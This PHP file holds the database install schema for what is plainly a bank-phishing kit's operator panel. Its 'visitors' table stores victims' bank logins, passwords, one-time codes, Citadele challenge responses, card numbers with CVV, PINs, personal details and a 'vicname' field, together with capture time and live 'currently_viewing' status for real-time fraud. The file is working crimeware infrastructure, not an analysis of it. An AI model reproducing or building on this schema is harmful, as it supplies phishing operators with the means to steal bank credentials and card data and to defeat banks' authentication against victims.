<?php
$panel_information_table = "CREATE TABLE `panel_information` (`id` int(255) NOT NULL PRIMARY KEY, `is_installed` varchar(255) DEFAULT 'false') ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$user_table = "CREATE TABLE `users` (`id` int(255) NOT NULL AUTO_INCREMENT PRIMARY KEY, `username` varchar(255) DEFAULT NULL UNIQUE, `password` varchar(255) DEFAULT NULL, `is_admin` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$visitor_table = "CREATE table `visitors` (
  `id` int(200) NOT NULL AUTO_INCREMENT PRIMARY KEY,

  -- Bank Login
  `bank` varchar(255) DEFAULT 'NOT SELECTED',

  -- Type of Login
  `login_type` varchar(255) DEFAULT NULL,

  -- User and Pass
  `username` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,

  -- OTP
  `otp` varchar(255) DEFAULT NULL,

  -- Challenge/Response
  `challenge` varchar(255) DEFAULT NULL,
  `response` varchar(255) DEFAULT NULL,

  -- Citadele Challenge
  `challenge1` varchar(255) DEFAULT NULL,
  `citadele_response` varchar(255) DEFAULT NULL,
  `challenge_otp` varchar(255) DEFAULT NULL,
  `amount` varchar(255) DEFAULT NULL,
  `cancelcode` varchar(255) DEFAULT NULL,
  `cancelamount` varchar(255) DEFAULT NULL,


  -- Personal Details
  `name` varchar(255) DEFAULT NULL,
  `address` varchar(255) DEFAULT NULL,
  `city` varchar(255) DEFAULT NULL,
  `zipcode` varchar(255) DEFAULT NULL,
  `phonenumber` varchar(255) DEFAULT NULL,

  -- Card Details
  `cardnumber` varchar(255) DEFAULT NULL,
  `expirydate` varchar(255) DEFAULT NULL,
  `cvv` varchar(255) DEFAULT NULL,

  -- PINs
  `code1` varchar(255) DEFAULT NULL,
  `code2` varchar(255) DEFAULT NULL,
  `code3` varchar(255) DEFAULT NULL,
  `code4` varchar(255) DEFAULT NULL,
  `amount1` varchar(255) DEFAULT NULL,
  `vicname` varchar(255) DEFAULT NULL,

  `status` varchar(255) DEFAULT NULL,
  `uniqueid` varchar(255) DEFAULT NULL,
  `capture_time` varchar(255) DEFAULT NULL,
  `last_online` varchar(255) DEFAULT NULL,
  `useragent` varchar(255) DEFAULT NULL,
  `currently_viewing` varchar(255) DEFAULT 'false',
  `new_data` varchar(255) DEFAULT 'false') ENGINE=InnoDB DEFAULT CHARSET=utf8;";

$tables_to_install = [$panel_information_table,
                      $user_table,
                      $visitor_table];
?>
